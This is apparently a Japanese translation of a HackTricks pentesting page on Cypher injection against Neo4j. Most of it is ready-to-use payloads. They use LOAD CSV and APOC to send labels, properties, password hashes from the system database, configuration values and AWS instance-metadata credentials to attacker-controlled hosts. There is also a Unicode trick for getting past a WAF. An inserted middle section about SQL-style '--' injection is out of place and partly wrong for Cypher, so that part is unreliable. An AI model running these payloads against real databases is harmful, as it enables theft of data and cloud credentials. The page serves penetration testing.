hacktricks/pentesting-web/sql-injection/cypher-injection-neo4j.md
2023-07-07 23:42:27 +00:00

21 KiB
Raw Blame History

Cypherインジェクションneo4j

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

一般的なCypherインジェクション

MATCHWHEREステートメントは一般的なシナリオです。

インジェクションを見つけた場合、その利用方法はクエリ内の位置に依存します。以下は、異なるインジェクションの位置と利用例の表です:

インジェクション可能なクエリ インジェクション
MATCH (o) WHERE o.Id='{input}' ' OR 1=1 WITH 0 as _l00 {…} RETURN 1 //

MATCH (o) WHERE '{input}' = o.Id
MATCH (o) WHERE {input} in [different, values]

'=' {…} WITH 0 as _l00 RETURN 1 //
MATCH (o) WHERE o:{input} a {…} WITH 0 as _l00 RETURN 1 //
MATCH (o) WHERE o:`{input}` a` {...} WITH 0 as _l00 RETURN 1 //
MATCH (o {id:'{input}'}) '}) RETURN 1 UNION MATCH (n) {...} RETURN 1 //
MATCH (o:{input}) a) RETURN 1 UNION MATCH (n){...} RETURN 1//
MATCH (o:`{input}`) a`) RETURN 1 UNION MATCH (n){...} RETURN 1 //
MATCH (o)-[r {id:'{input}'})]-(o2) '}]-() RETURN 1 UNION MATCH (n){...} RETURN 1//
MATCH (o)-[r:{input}]-(o2) a]-() RETURN 1 UNION MATCH (n){...} RETURN 1 //
MATCH (o)-[r:`{input}`]-(o2) a`]-() RETURN 1 UNION MATCH (n){...} RETURN 1 //

UNIONステートメントに注目してください

  1. UNIONが必要な理由は、MATCHステートメントが何も返さない場合、クエリの残りの部分は実行されません。したがって、そこで行う悪意のあることは単に実行されません。
  2. UNIONの前に「RETURN 1」を追加することで、両方の部分が同じ列を返すようにし、クエリが実行されるようにします。

では、「WITH」ステートメントはどうなっていますか

WITHを使用すると、すべての既存の変数を削除できます。これは、クエリが何であるかわからない場合に重要です後で詳しく説明します。ペイロードが誤って既に存在する変数を設定しようとすると、クエリは実行に失敗します。

もちろん、クエリとデータベースがわかっている場合、これらのテクニックは必要ありません。サーバーを悪用するだけでなく、返されたデータを操作してプロセスを操作することさえできます。

HTTPエクスフィルトレーション

以下の方法を使用して、情報を攻撃者が制御するドメインにエクスフィルトレートすることができます:

LOAD CSV FROM 'https://attacker.com/'

例えば

// Injection in:
MATCH (o) WHEREo.Id='{input}' RETURN o

// Injection to get all the preocedures
' OR 1=1 WITH 1 as _l00 CALL dbms.procedures() yield name LOAD CSV FROM 'https://attacker.com/' + name as _l RETURN 1 //

APOC

攻撃者が最初にチェックすべきことは、APOCがインストールされているかどうかです。APOCCypherの素晴らしい手続きは、Neo4jの公式にサポートされているプラグインであり、その機能を大幅に向上させます。APOCは、開発者が環境で使用できる多くの追加の関数と手続きを追加します。攻撃者は、APOCが提供するさまざまな手続きと関数を使用して、より高度な攻撃を実行することができます。

データの処理とHTTPリクエストの送信のための手続き

  • apoc.convert.toJsonード、マップなどをJSONに変換します
  • apoc.text.base64Encode — 文字列をbase64でエンコードします

ヘッダーを設定し、GET以外の他のメソッドを送信することも可能です。例:

{% code overflow="wrap" %}

CALL apoc.load.jsonParams("http://victim.internal/api/user",{ method: "POST", `Authorization`:"BEARER " + hacked_token},'{"name":"attacker", "password":"rockyou1"}',"") yield value as value

CALL apoc.load.csvParams("http://victim.internal/api/me",{ `Authorization`:"BEARER " + hacked_token}, null,{header:FALSE}) yield list

{% endcode %}

クエリの評価手順

  • apoc.cypher.runFirstColumnMany — 最初の列の値をリストとして返す関数
  • apoc.cypher.runFirstColumnSingle — 最初の列の最初の値を返す関数
  • apoc.cypher.run — クエリを実行し、結果をマップとして返す手続き
  • apoc.cypher.runMany — セミコロンで区切られたクエリまたは複数のクエリを実行し、結果をマップとして返す手続き。クエリは異なるトランザクションで実行されます。

情報の抽出

サーバーバージョン

サーバーバージョンを取得する方法の一つは、手続き dbms.components() を使用することです。

{% code overflow="wrap" %}

' OR 1=1 WITH 1 as a  CALL dbms.components() YIELD name, versions, edition UNWIND versions as version LOAD CSV FROM 'http://10.0.2.4:8000/?version=' + version + '&name=' + name + '&edition=' + edition as l RETURN 0 as _0 //

実行中のクエリを取得する

最も簡単な方法は、手続き dmbs.listQueries() を使用することです。

{% code overflow="wrap" %}

' OR 1=1 call dbms.listQueries() yield query LOAD CSV FROM 'http://10.0.2.4:8000/?' + query as l RETURN 1 //

{% endcode %}

Neo4j 5 dbms.listQueriesは削除されました。代わりに、「SHOW TRANSACTIONS」を使用することができます。2つの主な制限がありますSHOWクエリはインジェクションできません。また、listQueriesとは異なり、トランザクションで現在実行中のクエリのみを表示することができます。

APOCコアがインストールされている場合、それを使用してSHOW TRANSACTIONSを実行することができます。同じトランザクションで実行する場合、クエリではなくSHOW TRANSACTIONSのみが返されます。他のapoc.cypher関数や手続きとは異なり、**apoc.cypher.runMany**を使用してSHOW TRANSACTIONSを実行することができます。

{% code overflow="wrap" %}

' OR 1=1 call apoc.cypher.runMany("SHOW TRANSACTIONS yield currentQuery RETURN currentQuery",{}) yield result LOAD CSV FROM 'http://10.0.2.4:8000/?' + result['currentQuery'] as l RETURN 1//

ラベルの取得

組み込みメソッド db.labels を使用すると、すべての既存のラベルをリストすることができます。

{% code overflow="wrap" %}

'}) RETURN 0 as _0 UNION CALL db.labels() yield label LOAD CSV FROM 'http://attacker_ip/?l='+label as l RETURN 0 as _0

キーのプロパティを取得する

組み込み関数 keys を使用して、プロパティのキーをリストアップすることができますフィールドの1つがリストまたはマップの場合は機能しません

{% code overflow="wrap" %}

' OR 1=1 WITH 1 as a MATCH (f:Flag) UNWIND keys(f) as p LOAD CSV FROM 'http://10.0.2.4:8000/?' + p +'='+toString(f[p]) as l RETURN 0 as _0 //

{% endcode %}

もしAPOCが利用可能であれば、apoc.convert.toJsonを使用することでより良い方法があります。

' OR 1=1 WITH 0 as _0 MATCH (n) LOAD CSV FROM 'http://10.0.2.4:8000/?' + apoc.convert.toJson(n) AS l RETURN 0 as _0 //

関数と手続きの取得

組み込み手続き dbms.functions()dbms.procedures() を使用すると、すべての関数と手続きをリストすることができます。

{% code overflow="wrap" %}

' OR 1=1 WITH 1 as _l00 CALL dbms.functions() yield name LOAD CSV FROM 'https://attacker.com/' + name as _l RETURN 1 //

以下は、Cypherインジェクションに関する情報です。Cypherインジェクションは、Neo4jデータベースに対するSQLインジェクションの一種です。Cypherは、Neo4jのクエリ言語であり、データベース内のードや関係を操作するために使用されます。

Cypherインジェクションは、ユーザーの入力を適切に検証せずにクエリに組み込むことによって発生します。攻撃者は、悪意のあるCypherクエリを注入することで、データベースの機密情報を取得したり、データベースを破壊したりすることができます。

Cypherインジェクションを防ぐためには、入力の検証とエスケープが重要です。入力を適切に検証し、Cypherクエリに組み込む前にエスケープすることで、攻撃者が悪意のあるクエリを注入することを防ぐことができます。

以下は、Cypherインジェクションの例です。

MATCH (u:User {username: '$username', password: '$password'}) RETURN u

このクエリでは、ユーザー名とパスワードを受け取り、一致するユーザーを返します。しかし、このクエリは入力の検証やエスケープが行われていないため、攻撃者はユーザー名やパスワードの値に悪意のあるCypherクエリを注入することができます。

攻撃者が以下のようなユーザー名を入力した場合、Cypherインジェクションが発生します。

' OR 1=1 --

この場合、クエリは次のようになります。

MATCH (u:User {username: '' OR 1=1 --', password: '$password'}) RETURN u

このクエリでは、OR 1=1の部分によって常に真の条件が成立し、すべてのユーザーが返されます。攻撃者は、認証をバイパスしてデータベース内のすべてのユーザー情報を取得することができます。

Cypherインジェクションは、Neo4jデータベースのセキュリティに重大な脆弱性をもたらす可能性があります。適切な入力の検証とエスケープを行うことで、この脆弱性を防ぐことができます。{% endcode %}

{% code overflow="wrap" %}

' OR 1=1 WITH 1 as _l00 CALL dbms.procedures() yield name LOAD CSV FROM 'https://attacker.com/' + name as _l RETURN 1 //

{% endcode %}

これらの手順はNeo4j 5で削除されました。代わりに、**SHOW PROCEDURESSHOW FUNCTIONS**を使用することができます。SHOWクエリはインジェクションされません。

APOCコアがインストールされている場合、クエリを実行する手続きや関数をリストアップするために、いずれかの手続きや関数を使用することができます。

' OR 1=1 WITH apoc.cypher.runFirstColumnMany("SHOW FUNCTIONS YIELD name RETURN name",{}) as names UNWIND names AS name LOAD CSV FROM 'https://attacker.com/' + name as _l RETURN 1 //
' OR 1=1 CALL apoc.cypher.run("SHOW PROCEDURES yield name RETURN name",{}) yield value
LOAD CSV FROM 'https://attacker.com/' + value['name'] as _l RETURN 1 //

システムデータベースの取得

システムデータベースは通常クエリできない特別なNeo4jデータベースです。以下のような興味深いデータがードとして格納されています

  • データベース
  • ロール
  • ユーザー(パスワードのハッシュを含む!)

APOCを使用すると、ハッシュを含むードを取得することができます。ただし、これは管理者のみが実行できます。ただし、Neo4jの無料版では管理者ユーザーしか存在せず、他のユーザーは存在しないため、管理者として実行されることは珍しくありません。

データを取得するためには、手続き apoc.systemdb.graph() を使用します。

{% code overflow="wrap" %}

' OR 1=1 WITH 1 as a  call apoc.systemdb.graph() yield nodes LOAD CSV FROM 'http://10.0.2.4:8000/?nodes=' + apoc.convert.toJson(nodes) as l RETURN 1 //

{% endcode %}

Neo4jは、ハッシュを生成するためにApache ShiroのSimpleHashを使用します。

結果は、カンマ区切りの値の文字列として保存されます:

  • ハッシュアルゴリズム
  • ハッシュ
  • ソルト
  • イテレーション

例:

SHA-256, 8a80d3ba24d91ef934ce87c6e018d4c17efc939d5950f92c19ea29d7e88b562c,a92f9b1c571bf00e0483effbf39c4a13d136040af4e256d5a978d265308f7270,1024

環境変数の取得

APOCを使用することで、手続き**apoc.config.map()またはapoc.config.list()**を使用して環境変数を取得することができます。

これらの手続きは、confファイルdbms.security.procedures.unrestrictedの制限のない手続きのリストに含まれている場合にのみ使用できます。これは思っている以上に一般的であり、設定名をGoogleで検索すると、「apoc.*」という値を追加することを勧める多くのサイトやガイドが表示されます。これにより、すべてのAPOC手続きが許可されます。

' OR 1=1 CALL apoc.config.list() YIELD key, value LOAD CSV FROM 'http://10.0.2.4:8000/?'+key+"="+" A B C" as l RETURN 1 //

注意: Neo4j5では、手順がAPOC拡張に移動されました。

AWSクラウドメタデータエンドポイント

IMDSv1

{% code overflow="wrap" %}

LOAD CSV FROM ' http://169.254.169.254/latest/meta-data/iam/security-credentials/' AS roles UNWIND roles AS role LOAD CSV FROM ' http://169.254.169.254/latest/meta-data/iam/security-credentials/'+role as l

WITH collect(l) AS _t LOAD CSV FROM 'http://{attacker_ip}/' + substring(_t[4][0],19, 20)+'_'+substring(_t[5][0],23, 40)+'_'+substring(_t[6][0],13, 1044) AS _

IMDSv2

ヘッダーを指定する必要があり、GET以外のメソッドを使用する必要があります。

LOAD CSVはこれらのいずれも行うことができませんが、apoc.load.csvParamsを使用してトークンとロールを取得し、その後apoc.load.jsonParamsを使用して資格情報自体を取得することができます。csvParamsを使用する理由は、応答が有効なJSONではないためです。

{% code overflow="wrap" %}

CALL apoc.load.csvParams("http://169.254.169.254/latest/api/token", {method: "PUT",`X-aws-ec2-metadata-token-ttl-seconds`:21600},"",{header:FALSE}) yield list WITH list[0] as token

CALL apoc.load.csvParams("http://169.254.169.254/latest/meta-data/iam/security-credentials/", { `X-aws-ec2-metadata-token`:token},null,{header:FALSE}) yield list UNWIND list as role

CALL apoc.load.jsonParams("http://169.254.169.254/latest/meta-data/iam/security-credentials/"+role,{ `X-aws-ec2-metadata-token`:token },null,"") yield value as value

{% endcode %}

AWS APIに直接接触する

{% code overflow="wrap" %}

CALL apoc.load.csvParams('https://iam.amazonaws.com/?Action=ListUsers&Version=2010-05-08', {`X-Amz-Date`:$date, `Authorization`: $signed_token, `X-Amz-Security-Token`:$token}, null, ) YIELD list

{% endcode %}

WAFバイパス

Unicodeインジェクション

Neo4j >= v4.2.0では、「\uXXXX」を使用してUnicodeをインジェクションすることができます。たとえば、サーバーが'、"、`などの文字を削除しようとする場合にこの方法を使用できます。

Unicodeエスケープシーケンスの後に文字が続く場合、これは機能しないかもしれません。その後にスペースを追加するか、別のUnicode表記を使用することが安全です。

たとえば、サーバーがシングルクォートを削除し、クエリが以下のようになっている場合:

MATCH (a: {name: '$INPUT'}) RETURN a

以下のようなインジェクションが可能です:

{% code overflow="wrap" %}

\u0027 }) RETURN 0 as _0 UNION CALL db.labels() yield label LOAD CSV FROM "http://attacker/ "+ label RETURN 0 as _o //

{% endcode %}

参考文献

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥